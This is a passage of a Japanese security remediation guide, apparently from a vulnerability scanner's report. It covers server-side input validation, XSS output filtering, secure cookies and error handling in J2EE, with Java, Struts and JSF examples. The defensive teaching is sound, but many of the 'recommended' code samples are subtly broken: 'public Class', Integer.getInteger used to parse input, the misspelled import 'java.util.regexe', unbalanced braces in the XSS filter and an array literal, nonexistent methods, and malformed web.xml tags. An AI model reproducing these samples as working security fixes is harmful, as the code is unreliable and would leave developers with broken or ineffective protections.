正規表現により定義されたパターンとエントリーが一致していることをチェックします。この検証タイプにより、社会保障番号、電子メール・アドレス、電話番号、郵便番号等といった予想可能な文字のシーケンスをチェックできます。

重要な注意事項:
検証コントロールは、ユーザーの入力をブロックしたりページ処理のフローを変更することはありません。エラー・ステータスを設定し、エラー・メッセージを送出するだけです。アプリケーション固有のアクションをさらに実行する前に、プログラマーは必ずコード内のコントロールの状態をテス

トしてください。

ユーザーの入力を検証する方法には 2 つの方法があります:

1. 一般的なエラー状態のテスト:

コードで、ページの IsValid プロパティーをチェックしてください。このプロパティーは、ページの全検証コントロールの IsValid プロパティーの値の論理和を結果として返します。検証コントロールの 1 つが無効に設定されている場合、ページのプロパティーは false を返します。

2. 各コントロールのエラー状態のテスト:

ページの Validators コレクション (すべての検証コントロールへの参照を含みます) に含まれるものをチェックしてください。そうすることで、各検証コントロールの IsValid プロパティーを調べることが可能となります。

## 推奨される修正 - J2EE

** 入力データの検証

データ検証は、ユーザーの利便性のためにクライアント層で行うこともできますが、必ず Servlet を使用するサーバー層で行う必要があります。クライアント側のデータ検証は、例えば Javascript を無効にすることによって簡単にバイパスできるため、本質的に安全ではありません。

一般的には、次の項目を検証するサーバー側ユーティリティー・ルーチンを提供する Web アプリケーション・フレームワークが理想とされます。
[1] 必須フィールド
[2] フィールドのデータ型 (デフォルトでは、HTTP 要求パラメーターはすべて String)
[3] フィールドの長さ
[4] フィールドの範囲
[5] フィールドのオプション
[6] フィールドのパターン
[7] Cookie の値
[8] HTTP 応答

効果的な方法は、上記ルーチンを Validator ユーティリティー・クラスの静的メソッドとして実装することです。次のセクションでは、validator クラスの例について説明します。

[1] 必須フィールド
常に、フィールドが Null でなく、前後の空白スペースを除いて、その長さがゼロより大きいことをチェックします。

次に、要求されたフィールドを検証する例を示します。

```
// Java example to validate required fields
public Class Validator {
    ...
    public static boolean validateRequired(String value) {
        boolean isFieldValid = false;
        if (value != null && value.trim().length() > 0) {
            isFieldValid = true;
        }
        return isFieldValid;
    }
    ...
}
...
String fieldValue = request.getParameter("fieldName");
if (Validator.validateRequired(fieldValue)) {
    // fieldValue is valid, continue processing request
    ...
}
```

[2] フィールドのデータ型: Web アプリケーションでは、入力パラメーターの型は多くありません。例えば、HTTP 要求パラメーターや Cookie の値はすべて String 型です。 開発者は入力のデータ型が正しいかどうかを確認する必要があります。フィールドの値を希望するプリミティブなデータ型に安全に変換できるかどうかをチェックするには、Java プリミティブ・ラッパー・クラスを使用します。

次に、数値フィールド (int 型) を検証する例を示します。

```
// Java example to validate that a field is an int number
public Class Validator {
    ...
    public static boolean validateInt(String value) {
        boolean isFieldValid = false;
        try {
            Integer.parseInt(value);
            isFieldValid = true;
        } catch (Exception e) {
            isFieldValid = false;
        }
        return isFieldValid;
    }
    ...
}
...
// check if the HTTP request parameter is of type int
```

```
String fieldValue = request.getParameter("fieldName");
if (Validator.validateInt(fieldValue)) {
    // fieldValue is valid, continue processing request
    ...
}
```

効果的な方法は、HTTP
要求パラメーターをすべて対応するデータ型に変換することです。次の例に示すように、開発者は、要求パラメーターの integerValue を要求属性に格納して使用します。

```
// Example to convert the HTTP request parameter to a primitive wrapper data type
// and store this value in a request attribute for further processing
String fieldValue = request.getParameter("fieldName");
if (Validator.validateInt(fieldValue)) {
    // convert fieldValue to an Integer
    Integer integerValue = Integer.getInteger(fieldValue);
    // store integerValue in a request attribute
    request.setAttribute("fieldName", integerValue);
}
...
// Use the request attribute for further processing
Integer integerValue = (Integer)request.getAttribute("fieldName");
...
```

アプリケーションが処理する必要がある Java の主なデータ型は次のとおりです。
- Byte
- Short
- Integer
- Long
- Float
- Double
- Date

[3] フィールドの長さ: 常に、入力パラメーター (HTTP 要求パラメーターまたは Cookie 値のどちらか) の長さが最小値から最大値までの間であることを確認します。

次に、userName フィールドの長さが 8 文字から 20 文字までの間であることを検証する例を示します。

```
// Example to validate the field length
public Class Validator {
    ...
    public static boolean validateLength(String value, int minLength, int maxLength) {
        String validatedValue = value;
        if (!validateRequired(value)) {
            validatedValue = "";
        }
        return (validatedValue.length() >= minLength &&
                    validatedValue.length() <= maxLength);
    }
    ...
}
...
String userName = request.getParameter("userName");
if (Validator.validateRequired(userName)) {
    if (Validator.validateLength(userName, 8, 20)) {
        // userName is valid, continue further processing
        ...
    }
}
```

[4] フィールドの範囲: 常に、入力パラメーターが関数の要件で定義された範囲内であることを確認します。

入力データ numberOfChoices の値が 10 から 20 の間であることを検証する例を示します。

```
// Example to validate the field range
public Class Validator {
    ...
    public static boolean validateRange(int value, int min, int max) {
        return (value >= min && value <= max);
    }
    ...
}
...
String fieldValue = request.getParameter("numberOfChoices");
if (Validator.validateRequired(fieldValue)) {
    if (Validator.validateInt(fieldValue)) {
        int numberOfChoices = Integer.parseInt(fieldValue);
        if (Validator.validateRange(numberOfChoices, 10, 20)) {
            // numberOfChoices is valid, continue processing request
            ...
        }
    }
}
```

[5] フィールドのオプション: 多くの場合 Web
アプリケーションはユーザーに対して一連のオプションを提示して、ユーザーにそのいずれかを選択するよう促しますが (例えば SELECT
HTML
タグを使用するなどして)、選択された値が使用可能なオプションのいずれかであるかどうかをサーバー側で検証を実行して確認することはできません。悪意のあるユーザーが任意のオプションの値を簡単に変更できることに注意してください。選択されたユーザーの値が、関数の仕様で定義されている許可されたオプションであることを必ず検証してください。

許可されたオプションのリストに対してユーザーの選択を検証する例を示します。

```
// Example to validate user selection against a list of options
public Class Validator {
    ...
    public static boolean validateOption(Object[] options, Object value) {
        boolean isValidValue = false;
        try {
            List list = Arrays.asList(options);
            if (list != null) {
                isValidValue = list.contains(value);
            }
        } catch (Exception e) {
        }
        return isValidValue;
    }
    ...
}
...
// Allowed options
String[] options = {"option1", "option2", "option3");
// Verify that the user selection is one of the allowed options
String userSelection = request.getParameter("userSelection");
if (Validator.validateOption(options, userSelection)) {
    // valid user selection, continue processing request
    ...
}
```

[6] フィールドのパターン:
関数の仕様で定義されるように、ユーザーの入力がパターンに一致していることを常にチェックしてください。例えば、userName
フィールドが大文字小文字を区別せずに英数字のみ許可している場合、次の正規表現を使用します:
^[a-zA-Z0-9]*$

Java 1.3 またはそれ以前のバージョンには、正規表現パッケージが含まれていません。 Java 1.3 ではサポートされないため、Apache Regular Expression Package (下記のリソースを参照) を使用することを推奨します。
正規表現で検証を実行する例を示します。

```
// Example to validate that a given value matches a specified pattern
// using the Apache regular expression package
import org.apache.regexp.RE;
import org.apache.regexp.RESyntaxException;
public Class Validator {
    ...
    public static boolean matchPattern(String value, String expression) {
        boolean match = false;
        if (validateRequired(expression)) {
            RE r = new RE(expression);
            match = r.match(value);
        }
        return match;
    }
    ...
}
...
// Verify that the userName request parameter is alpha-numeric
String userName = request.getParameter("userName");
if (Validator.matchPattern(userName, "^[a-zA-Z0-9]*$")) {
    // userName is valid, continue processing request
    ...
}
```

Java 1.4 には、新しく正規表現パッケージ (java.util.regex) が導入されています。 新しい Java 1.4 の正規表現パッケージを使用した Validator.matchPattern の変更バージョンは以下のようになります。

```
// Example to validate that a given value matches a specified pattern
// using the Java 1.4 regular expression package
import java.util.regex.Pattern;
import java.util.regexe.Matcher;
public Class Validator {
    ...
    public static boolean matchPattern(String value, String expression) {
        boolean match = false;
        if (validateRequired(expression)) {
            match = Pattern.matches(expression, value);
        }
        return match;
    }
```

```
    ...
}
```

[7] Cookie の値: Cookie の値を検証するために javax.servlet.http.Cookie
オブジェクトを使用してください。アプリケーションの仕様に応じて、(上記と) 同じ検証規則 (要求された値の検証や長さの検証など) が Cookie
の値にも適用されます。

要求された Cookie の値を検証する例は次のとおりです。

```
// Example to validate a required cookie value
// First retrieve all available cookies submitted in the HTTP request
Cookie[] cookies = request.getCookies();
if (cookies != null) {
    // find the "user" cookie
    for (int i=0; i<cookies.length; ++i) {
        if (cookies[i].getName().equals("user")) {
            // validate the cookie value
            if (Validator.validateRequired(cookies[i].getValue()) {
                // valid cookie value, continue processing request
                ...
            }
        }
    }
}
```

[8] HTTP 応答 - [8-1] ユーザー入力のフィルタリング:
クロスサイト・スクリプティングからアプリケーションを保護するには、危険な文字を対応する文字エンティティーに変換して、HTML
をサニタイズします。HTML で危険な文字は次のとおりです。
< > " ' % ; ) ( & +

危険な文字を対応する文字エンティティーに変換して、指定された文字列をフィルタリングする例は次のとおりです。

```
// Example to filter sensitive data to prevent cross-site scripting
public Class Validator {
    ...
    public static String filter(String value) {
        if (value == null) {
            return null;
        }
        StringBuffer result = new StringBuffer(value.length());
        for (int i=0; i<value.length(); ++i) {
            switch (value.charAt(i)) {
            case '<':
                result.append("&lt;");
                break;
            case '>':
                result.append("&gt;");
                break;
            case '"':
                result.append("&quot;");
                break;
            case '¥'':
                result.append("&#39;");
                break;
            case '%':
                result.append("&#37;");
                break;
            case ';':
                result.append("&#59;");
                break;
            case '(':
                result.append("&#40;");
                break;
            case ')':
                result.append("&#41;");
                break;
            case '&':
                result.append("&amp;");
                break;
            case '+':
                result.append("&#43;");
                break;
            default:
                result.append(value.charAt(i));
                break;
        }
        return result;
    }
    ...
}
...
// Filter the HTTP response using Validator.filter
PrintWriter out = response.getWriter();
// set output response
```

```
out.write(Validator.filter(response));
out.close();
```

Java Servlet API 2.3 にはフィルターが導入されており、HTTP 要求または応答をインターセプトして変換する機能をサポートしています。

Validator.filter を使用して応答をサニタイズする Servlet フィルターの使用例は次のとおりです。

```
// Example to filter all sensitive characters in the HTTP response using a Java Filter.
// This example is for illustration purposes since it will filter all content in the response, including HTML tags!
public class SensitiveCharsFilter implements Filter {
    ...
    public void doFilter(ServletRequest request,
                         ServletResponse response,
                         FilterChain chain)
        throws IOException, ServletException {

        PrintWriter out = response.getWriter();
        ResponseWrapper wrapper = new ResponseWrapper((HttpServletResponse)response);
        chain.doFilter(request, wrapper);

        CharArrayWriter caw = new CharArrayWriter();
        caw.write(Validator.filter(wrapper.toString()));

        response.setContentType("text/html");
        response.setContentLength(caw.toString().length());
        out.write(caw.toString());
        out.close();
    }
    ...
    public class CharResponseWrapper extends HttpServletResponseWrapper {
        private CharArrayWriter output;

        public String toString() {
            return output.toString();
        }

        public CharResponseWrapper(HttpServletResponse response){
            super(response);
            output = new CharArrayWriter();
        }

        public PrintWriter getWriter(){
            return new PrintWriter(output);
        }
    }
}

}
```

[8-2] Cookie のセキュリティー保護: Cookie に機密データを保存する場合、HTTPS や SSL などの安全なプロトコルを利用して Cookie が送信されるようにブラウザーに指示するために、Cookie.setSecure(boolean flag) を使用して HTTP 応答の Cookie のセキュリティー・フラグが設定されるようにしてください。

「user」の Cookie をセキュリティー保護する例は次のとおりです。

```
// Example to secure a cookie, i.e. instruct the browser to
// send the cookie using a secure protocol
Cookie cookie = new Cookie("user", "sensitive");
cookie.setSecure(true);
response.addCookie(cookie);
```

推奨される JAVA ツール: サーバー側で検証を行う Java フレームワークは主に次の 2 つです。
[1] Jakarta Commons Validator (Struts 1.1 と統合): Jakarta Commons Validator は、上記のデータ検証仕様をすべて実装する強力なフレームワークです。これらの規則は、フォーム・フィールドの入力認証規則を定義する XML ファイルで構成されています。 Struts の [bean:write] タグを使用することで、記述された全データに対する [8] HTTP 応答の危険な文字の出力フィルタリングを Struts がデフォルトでサポートしています。
このフィルタリングは、「filter=false」フラグを設定することにより無効にできます。

Struts は次の基本的な入力検証を定義しますが、カスタム検証が定義される場合もあります。
required: フィールドに空白以外の文字が含まれている場合に成功します。
mask: 値がマスク属性によって与えられた正規表現に一致する場合に成功します。
range: 値が min 属性および max 属性により与えられた値 ((value >= min) および (value <= max)) の範囲内である場合に成功します。
maxLength: フィールドの長さが max 属性以下である場合に成功します。
minLength: フィールドの長さが min 属性以上である場合に成功します。
byte、short、integer、long、float、double: 値を対応するプリミティブ型に変換できる場合に成功します。
date: 値が有効な日付を示す場合に成功します。日付のパターンを指定することも可能です。
creditCard: 値が有効なクレジット・カードの番号である場合に成功します。
e-mail: 値が有効な電子メール・アドレスである場合に成功します。

次に、Struts Validator を使用して、loginForm の userName フィールドを検証する例を示します。

```
<form-validation>
    <global>
        ...
        <validator name="required"
```

```
            classname="org.apache.struts.validator.FieldChecks"
            method="validateRequired"
            msg="errors.required">
        </validator>
        <validator name="mask"
            classname="org.apache.struts.validator.FieldChecks"
            method="validateMask"
            msg="errors.invalid">
        </validator>
        ...
    </global>
    <formset>
        <form name="loginForm">
            <!-- userName is required and is alpha-numeric case insensitive -->
            <field property="userName" depends="required,mask">
                <!-- message resource key to display if validation fails -->
                <msg name="mask" key="login.userName.maskmsg"/>
                <arg0 key="login.userName.displayname"/>
                <var>
                    <var-name>mask</var-name>
                    <var-value>^[a-zA-Z0-9]*$</var-value>
                </var>
            </field>
        ...
        </form>
        ...
    </formset>
</form-validation>
```

[2] JavaServer Faces Technology: JavaServer Faces Technology は、UI コンポーネントの表現、各コンポーネントの状態の管理、イベントの処理および入力の検証を行う、一連の Java API (JSR 127) です。

JavaServer Faces API は次の基本的な検証を実装しますが、カスタム検証も定義される場合があります。
validate_doublerange: コンポーネントの DoubleRangeValidator を登録します。
validate_length: コンポーネントの LengthValidator を登録します。
validate_longrange: コンポーネントの LongRangeValidator を登録します。
validate_required: コンポーネントの RequiredValidator を登録します。
validate_stringrange: コンポーネントの StringRangeValidator を登録します。
validator: コンポーネントのカスタムの Validator を登録します。

JavaServer Faces API は、次の UIInput および UIOutput Renderer (Tag) を定義します。
input_date: java.text.Date インスタンスでフォーマットされた java.util.Date を受け取ります。
output_date: java.text.Date インスタンスでフォーマットされた java.util.Date を表示します。
input_datetime: java.text.DateTime インスタンスでフォーマットされた java.util.Date を受け取ります。
output_datetime: java.text.DateTime インスタンスでフォーマットされた java.util.Date を表示します。
input_number: java.text.NumberFormat でフォーマットされた数値データ型 (java.lang.Number またはプリミティブ型) を表示します。
output_number: java.text.NumberFormat でフォーマットされた数値データ型 (java.lang.Number またはプリミティブ型) を表示します。
input_text: 1 行の文字列を受け取ります。
output_text: 1 行の文字列を表示します。
input_time: java.text.DateFormat タイム・インスタンスでフォーマットされた java.util.Date を受け取ります。
output_time: java.text.DateFormat タイム・インスタンスでフォーマットされた java.util.Date を表示します。
input_hidden: ページの作成者がページで hidden 変数を使用することを許可します。
input_secret: 空白なしの 1 行のテキストを受け取り、入力の度にアスタリスクのセットとして表示します。
input_textarea: 複数行のテキストを受け取ります。
output_errors: ページ全体のエラー・メッセージまたは指定のクライアント識別子に関連するエラー・メッセージを表示します。
output_label: ネストされたコンポーネントを指定インプット・フィールドのラベルとして表示します。
output_message: 配置されたメッセージを表示します。

次に、JavaServer Faces を使用して、loginForm の userName フィールドを検証する例を示します。

```
<%@ taglib uri="http://java.sun.com/jsf/html" prefix="h" %>
<%@ taglib uri="http://java.sun.com/jsf/core" prefix="f" %>
...
<jsp:useBean id="UserBean"
    class="myApplication.UserBean" scope="session" />
<f:use_faces>
  <h:form formName="loginForm" >
    <h:input_text id="userName" size="20" modelReference="UserBean.userName">
        <f:validate_required/>
        <f:validate_length minimum="8" maximum="20"/>
    </h:input_text>
    <!-- display errors if present -->
    <h:output_errors id="loginErrors" clientId="userName"/>
    <h:command_button id="submit" label="Submit" commandName="submit" /><p>
  </h:form>
</f:use_faces>
```

参照リンク:
Java API 1.3 -
http://java.sun.com/j2se/1.3/docs/api/
Java API 1.4 -
http://java.sun.com/j2se/1.4/docs/api/
Java Servlet API 2.3 -
http://java.sun.com/products/servlet/2.3/javadoc/

Java Regular Expression Package -
http://jakarta.apache.org/regexp/
Jakarta Validator -
http://jakarta.apache.org/commons/validator/
JavaServer Faces Technology -
http://java.sun.com/j2ee/javaserverfaces/

** エラーの処理:

多くの J2EE Web アプリケーション・アーキテクチャーは Model View Controller (MVC) パターンに準拠しています。このパターンでは、Servlet は Controller として動作します。Servlet はアプリケーションの処理を EJB Session Bean (Model) のような JavaBean に委託します。次に、Servlet は要求を JSP (View) に転送して、処理の結果をレンダリングします。必要な処理が実際に行われたことを確認するために、Servlet はすべての入力、出力、リターン・コード、エラー・コード、および既知の例外をチェックする必要があります。

データの検証は悪意のあるデータの改ざんからアプリケーションを保護することはできますが、アプリケーションが内部的なエラー・メッセージ (例外スタック・トレースなど)
を不注意で公開するような状況を防ぐには、適切なエラー処理を実行するための方策が必要です。適切なエラー処理の方策を立てる際には、次の点に注意します。

[1] エラーの定義
[2] エラーの報告
[3] エラーのレンダリング
[4] エラーのマッピング

[1] エラーの定義: アプリケーション・レイヤー (Servlet など)
でのハード・コーディングされたエラー・メッセージは避けてください。アプリケーションには既知のアプリケーション障害にマップするエラー・キーを使用するようにしてください。効果的な方法は、HTML フォーム・フィールドや他の Bean
プロパティーの検証規則にマップするエラー・キーを定義することです。例えば「user_name」フィールドが必須フィールドであり、このフィールドには英数字を入力する必要があり、さらにデータベース内で他に同じ名前が存在してはならない場合は、次のようなエラー・キーを定義します。

(a) ERROR_USERNAME_REQUIRED:
このエラー・キーを使用すると、「user_name」フィールドが必須フィールドであることをユーザーに通知するメッセージが表示されます。
(b) ERROR_USERNAME_ALPHANUMERIC:
このエラー・キーを使用すると、「user_name」フィールドの値が英数字でなければならないことをユーザーに通知するメッセージが表示されます。
(c) ERROR_USERNAME_DUPLICATE:
このエラー・キーを使用すると、「user_name」の値がデータベース内で重複していることをユーザーに通知するメッセージが表示されます。
(d) ERROR_USERNAME_INVALID:
このエラー・キーを使用すると、「user_name」の値が無効であることをユーザーに通知する一般的なメッセージが表示されます。

効果的な方法は、アプリケーション・エラーを格納および報告するために使用する、次のようなフレームワーク Java クラスを定義することです。
- ErrorKeys: すべてのエラー・キーを定義します。

```
// Example: ErrorKeys defining the following error keys:
//    - ERROR_USERNAME_REQUIRED
//    - ERROR_USERNAME_ALPHANUMERIC
//    - ERROR_USERNAME_DUPLICATE
//    - ERROR_USERNAME_INVALID
//    ...
public Class ErrorKeys {
    public static final String ERROR_USERNAME_REQUIRED = "error.username.required";
    public static final String ERROR_USERNAME_ALPHANUMERIC = "error.username.alphanumeric";
    public static final String ERROR_USERNAME_DUPLICATE = "error.username.duplicate";
    public static final String ERROR_USERNAME_INVALID = "error.username.invalid";
    ...
}
```

- Error: 個々のエラーをカプセル化します。

```
// Example: Error encapsulates an error key.
// Error is serializable to support code executing in multiple JVMs.
public Class Error implements Serializable {

    // Constructor given a specified error key
    public Error(String key) {
        this(key, null);
    }

    // Constructor given a specified error key and array of placeholder objects
    public Error(String key, Object[] values) {
        this.key = key;
        this.values = values;
    }

    // Returns the error key
    public String getKey() {
        return this.key;
    }

    // Returns the placeholder values
    public Object[] getValues() {
        return this.values;
    }

    private String key = null;
```

```
    private Object[] values = null;
}
```

- Errors: エラーの集合をカプセル化します。

```
// Example: Errors encapsulates the Error objects being reported to the presentation layer.
// Errors are stored in a HashMap where the key is the bean property name and value is an
// ArrayList of Error objects.
public Class Errors implements Serializable {

    // Adds an Error object to the Collection of errors for the specified bean property.
    public void addError(String property, Error error) {
        ArrayList propertyErrors = (ArrayList)errors.get(property);
        if (propertyErrors == null) {
            propertyErrors = new ArrayList();
            errors.put(property, propertyErrors);
        }
        propertyErrors.put(error);
    }

    // Returns true if there are any errors
    public boolean hasErrors() {
        return (errors.size > 0);
    }

    // Returns the Errors for the specified property
    public ArrayList getErrors(String property) {
        return (ArrayList)errors.get(property);
    }

    private HashMap errors = new HashMap();
}
```

次に、上記フレームワーク・クラスを使用して、「user_name」フィールドの検証エラーを処理する例を示します。

```
// Example to process validation errors of the "user_name" field.
Errors errors = new Errors();
String userName = request.getParameter("user_name");
// (a) Required validation rule
if (!Validator.validateRequired(userName)) {
    errors.addError("user_name", new Error(ErrorKeys.ERROR_USERNAME_REQUIRED));
} // (b) Alpha-numeric validation rule
else if (!Validator.matchPattern(userName, "^[a-zA-Z0-9]*$")) {
    errors.addError("user_name", new Error(ErrorKeys.ERROR_USERNAME_ALPHANUMERIC));
}
else
{
    // (c) Duplicate check validation rule
    // We assume that there is an existing UserValidationEJB session bean that implements
    // a checkIfDuplicate() method to verify if the user already exists in the database.
    try {
        ...
        if (UserValidationEJB.checkIfDuplicate(userName)) {
            errors.addError("user_name", new Error(ErrorKeys.ERROR_USERNAME_DUPLICATE));
        }
    } catch (RemoteException e) {
        // log the error
        logger.error("Could not validate user for specified userName: " + userName);
        errors.addError("user_name", new Error(ErrorKeys.ERROR_USERNAME_DUPLICATE);
    }
}
// set the errors object in a request attribute called "errors"
request.setAttribute("errors", errors);
...
```

[2] エラーの報告: Web 層のアプリケーション・エラーを報告する方法は 2 つあります。
(a) Servlet エラー・メカニズム
(b) JSP エラー・メカニズム

[2-a] Servlet エラー・メカニズム:
Servlet は次の方法のいずれかでエラーを報告します。
- 入力 JSP へ転送する (すでにエラーを要求属性に格納している)
- HTTP エラー・コードを引数として response.sendError を呼び出す
- 例外をスローする

効果的な方法は、既知のアプリケーション・エラー (セクション [1] を参照) をすべて処理し、要求属性にそれらを格納し、入力 JSP に転送することです。入力 JSP はエラー・メッセージを表示して、ユーザーにデータを入力し直すように促す必要があります。 次に、入力 JSP (userInput.jsp) に転送する例を示します。

```
// Example to forward to the userInput.jsp following user validation errors
RequestDispatcher rd = getServletContext().getRequestDispatcher("/user/userInput.jsp");
if (rd != null) {
    rd.forward(request, response);
}
```

Servlet が既知の JSP ページに転送できない場合、2 番目の選択肢は、HttpServletResponse.SC_INTERNAL_SERVER_ERROR (状態コード 500) を引数として response.sendError メソッドを呼び出す方法です。 さまざまな HTTP
状態コードの詳細については、javax.servlet.http.HttpServletResponse の javadoc を参照してください。

次に、HTTP エラーを返す例を示します。

```
// Example to return a HTTP error code
RequestDispatcher rd = getServletContext().getRequestDispatcher("/user/userInput.jsp");
if (rd == null) {
    // messages is a resource bundle with all message keys and values
    response.sendError(HttpServletResponse.SC_INTERNAL_SERVER_ERROR,
                       messages.getMessage(ErrorKeys.ERROR_USERNAME_INVALID));
}
```

最後の手段として、Servlet は例外をスローすることができます。この例外は、次のクラスのうちの 1 つのサブクラスである必要があります。
- RuntimeException
- ServletException
- IOException

[2-b] JSP エラー・メカニズム: JSP ページには、次の例のように errorPage ディレクティブを定義して、実行時例外を処理する機能があります。

```
<%@ page errorPage="/errors/userValidation.jsp" %>
```

エラー・トラップできない JSP の例外は指定された errorPage に転送され、オリジナルの例外は javax.servlet.jsp.jspException
と呼ばれる要求パラメーターとして設定されます。 エラー・ページは、次のように isErrorPage ディレクティブを含む必要があります。

```
<%@ page isErrorPage="true" %>
```

isErrorPage ディレクティブが指定されると、「exception」変数はスローされる例外オブジェクトに初期化されます。

[3] エラーのレンダリング: J2SE Internationalization API
は、アプリケーション・リソースを外部化し、メッセージをフォーマットする次のようなユーティリティー・クラスを提供します。

(a) リソース・バンドル
(b) メッセージ・フォーマット

[3-a] リソース・バンドル:
リソース・バンドルは、ローカライズされたデータとそれを使用するソース・コードを分離することによって国際化対応をサポートします。各リソース・バンドルは、特定のロケールに対するキーと値のペアのマッピングを格納しています。

通常は java.util.PropertyResourceBundle を使用または拡張して、外部プロパティー・ファイルにコンテンツを格納します。次に例を示します。

```
################################################
# ErrorMessages.properties
################################################
# required user name error message
error.username.required=User name field is required

# invalid user name format
error.username.alphanumeric=User name must be alphanumeric

# duplicate user name error message
error.username.duplicate=User name {0} already exists, please choose another one

...
```

異なるロケールをサポートするために、複数のリソースを定義できます
(これが「リソース・バンドル」という名前の由来)。例えば、バンドル・ファミリーのフランス語をサポートするために ErrorMessages_fr.properties
を定義できます。 要求されたロケールのリソースが存在しない場合は、デフォルトのメンバーが使用されます。
上記例では、デフォルトのリソースは ErrorMessages.properties です。 アプリケーション (JSP または Servlet)
はユーザーのロケールに従って適切なリソースからコンテンツを取得します。

[3-b] メッセージ・フォーマット: J2SE 標準クラス java.util.MessageFormat
は、置換プレースホルダー付きのメッセージを作成する一般的な方法です。MessageFormat
オブジェクトは、次のような書式指示子が埋め込まれたパターン文字列を持っています。

```
// Example to show how to format a message using placeholder parameters
String pattern = "User name {0} already exists, please choose another one";
String userName = request.getParameter("user_name");
Object[] args = new Object[1];
args[0] = userName;
String message = MessageFormat.format(pattern, args);
```

次に、より理解しやすい例として、ResourceBundle と MessageFormat を使用してエラー・メッセージを表示する例を示します。

```
// Example to render an error message from a localized ErrorMessages resource (properties file)
// Utility class to retrieve locale-specific error messages
public Class ErrorMessageResource {

    // Returns the error message for the specified error key in the environment locale
    public String getErrorMessage(String errorKey) {
        return getErrorMessage(errorKey, defaultLocale);
    }
```

```
    // Returns the error message for the specified error key in the specified locale
    public String getErrorMessage(String errorKey, Locale locale) {
        return getErrorMessage(errorKey, null, locale);
    }

    // Returns a formatted error message for the specified error key in the specified locale
    public String getErrorMessage(String errorKey, Object[] args, Locale locale) {
        // Get localized ErrorMessageResource
        ResourceBundle errorMessageResource = ResourceBundle.getBundle("ErrorMessages", locale);
        // Get localized error message
        String errorMessage = errorMessageResource.getString(errorKey);
        if (args != null) {
            // Format the message using the specified placeholders args
            return MessageFormat.format(errorMessage, args);
        } else {
            return errorMessage;
        }
    }

    // default environment locale
    private Locale defaultLocale = Locale.getDefaultLocale();
}
...
// Get the user's locale
Locale userLocale = request.getLocale();
// Check if there were any validation errors
Errors errors = (Errors)request.getAttribute("errors");
if (errors != null && errors.hasErrors()) {
    // iterate through errors and output error messages corresponding to the "user_name" property
    ArrayList userNameErrors = errors.getErrors("user_name");
    ListIterator iterator = userNameErrors.iterator();
    while (iterator.hasNext()) {
        // Get the next error object
        Error error = (Error)iterator.next();
        String errorMessage = ErrorMessageResource.getErrorMessage(error.getKey(), userLocale);
        output.write(errorMessage + "¥r¥n");
    }
}
```

上記例のようにエラー・メッセージを何度も表示する場合は、独自の JSP タグ (displayErrors 等) を定義することが推奨されます。

[4] エラーのマッピング: 通常 Servlet Containerは、応答状態コードまたは例外のどちらかに対応するデフォルトのエラー・ページを返します。状態コードまたは例外と Web リソースとのマッピングは、カスタム・エラー・ページを使用して指定できます。
効果的な方法は、内部のエラーの状態を公開しない静的なエラー・ページを開発することです (デフォルトでは、ほとんどの Servlet コンテナーは内部エラー・メッセージを報告します)。このマッピングは、次の例のように、Web Deployment Descriptor (web.xml) で設定されます。

```
<!-- Mapping of HTTP error codes and application exceptions to error pages -->
<error-page>
  <exception-type>UserValidationException</exception-type>
  <location>/errors/validationError.html</error-page>
</error-page>
<error-page>
  <error-code>500</exception-type>
  <location>/errors/internalError.html</error-page>
</error-page>
<error-page>
...
</error-page>
...
```

推奨される JAVA ツール: サーバー側で検証を行う Java フレームワークは主に次の 2 つです。
[1] Jakarta Commons Validator (Struts 1.1 と統合)
Jakarta Commons Validator は、上記のようなエラー処理メカニズムを定義する Java フレームワークです。検証規則は、フォーム・フィールドの入力検証規則とそれに対応する検証エラー・キーを定義する XML ファイルとして設定されます。 Struts は、リソース・バンドルとメッセージ・フォーマットを使用してローカライズ・アプリケーションを構築するための国際化対応をサポートします。

次に、Struts Validator を使用して、loginForm の userName フィールドを検証する例を示します。

```
<form-validation>
    <global>
        ...
        <validator name="required"
            classname="org.apache.struts.validator.FieldChecks"
            method="validateRequired"
            msg="errors.required">
        </validator>
        <validator name="mask"
            classname="org.apache.struts.validator.FieldChecks"
            method="validateMask"
            msg="errors.invalid">
```

```
        </validator>
        ...
    </global>
    <formset>
        <form name="loginForm">
            <!-- userName is required and is alpha-numeric case insensitive -->
            <field property="userName" depends="required,mask">
                <!-- message resource key to display if validation fails -->
                <msg name="mask" key="login.userName.maskmsg"/>
                <arg0 key="login.userName.displayname"/>
                <var>
                    <var-name>mask</var-name>
                    <var-value>^[a-zA-Z0-9]*$</var-value>
                </var>
            </field>
        ...
        </form>
        ...
    </formset>
</form-validation>
```

次の例に示すように、Struts JSP タグ・ライブラリーは、格納されたエラー・メッセージを条件付きで表示する「errors」タグを定義します。

```
<%@ page language="java" %>
<%@ taglib uri="/WEB-INF/struts-html.tld" prefix="html" %>
<%@ taglib uri="/WEB-INF/struts-bean.tld" prefix="bean" %>
<html:html>
<head>
<body>
    <html:form action="/logon.do">
    <table border="0" width="100%">
    <tr>
        <th align="right">
            <html:errors property="username"/>
            <bean:message key="prompt.username"/>
        </th>
        <td align="left">
            <html:text property="username" size="16"/>
        </td>
    </tr>
    <tr>
    <td align="right">
        <html:submit><bean:message key="button.submit"/></html:submit>
    </td>
    <td align="right">
        <html:reset><bean:message key="button.reset"/></html:reset>
    </td>
    </tr>
    </table>
    </html:form>
</body>
</html:html>
```

[2] JavaServer Faces Technology: JavaServer Faces Technology は、UI
コンポーネントの表現、各コンポーネントの状態の管理、イベントの処理、入力の検証、および国際化対応のサポートを行う、一連の Java API (JSR 127) です。

JavaServer Faces API は「output_errors」という UIOutput Renderer
を定義します。それはページ全体のエラー・メッセージまたは指定されたクライアント識別子に関連するエラー・メッセージを表示します。

次に、JavaServer Faces を使用して、loginForm の userName フィールドを検証する例を示します。

```
<%@ taglib uri="http://java.sun.com/jsf/html" prefix="h" %>
<%@ taglib uri="http://java.sun.com/jsf/core" prefix="f" %>
...
<jsp:useBean id="UserBean"
    class="myApplication.UserBean" scope="session" />
<f:use_faces>
  <h:form formName="loginForm" >
    <h:input_text id="userName" size="20" modelReference="UserBean.userName">
        <f:validate_required/>
        <f:validate_length minimum="8" maximum="20"/>
    </h:input_text>
    <!-- display errors if present -->
    <h:output_errors id="loginErrors" clientId="userName"/>
    <h:command_button id="submit" label="Submit" commandName="submit" /><p>
  </h:form>
</f:use_faces>
```

参照リンク:
Java API 1.3 -
http://java.sun.com/j2se/1.3/docs/api/
Java API 1.4 -
http://java.sun.com/j2se/1.4/docs/api/
Java Servlet API 2.3 -

http://java.sun.com/products/servlet/2.3/javadoc/
Java Regular Expression Package -
http://jakarta.apache.org/regexp/
Jakarta Validator -
http://jakarta.apache.org/commons/validator/
JavaServer Faces Technology -
